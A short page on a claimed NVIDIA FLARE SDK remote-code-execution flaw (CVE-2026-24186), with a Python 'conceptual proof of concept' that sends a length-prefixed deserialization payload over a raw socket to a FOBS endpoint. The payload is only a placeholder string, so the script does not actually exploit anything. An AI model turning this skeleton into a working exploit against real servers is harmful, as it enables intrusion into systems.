CVE-2026-24186 NVIDIA FLARE SDK 远程代码执行漏洞

import socket import struct # This is a conceptual Proof of Concept for CVE-2026-24186. # It demonstrates sending a malicious payload to a vulnerable FOBS endpoint. # Note: Actual exploitation requires specific gadget chains for the target environment. def create_fobs_malicious_payload(): # In a real scenario, this would be a serialized object chain # designed to trigger RCE during deserialization. # Example structure simulation (pseudo-code): # header + magic_bytes + malicious_object_data # Simulating a generic dangerous payload marker payload = b"\x00\x01\x02\x03MALICIOUS_DESERIALIZATION_PAYLOAD" # Add length prefix (common in binary protocols) length = struct.pack('>I', len(payload)) return length + payload def send_exploit(target_ip, target_port): try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) payload = create_fobs_malicious_payload() print(f"[*] Sending malicious FOBS payload ({len(payload)} bytes)...") s.sendall(payload) print("[+] Payload sent successfully.") print("[!] Check if the code execution was triggered on the target.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target details TARGET_IP = "127.0.0.1" TARGET_PORT = 8080 send_exploit(TARGET_IP, TARGET_PORT)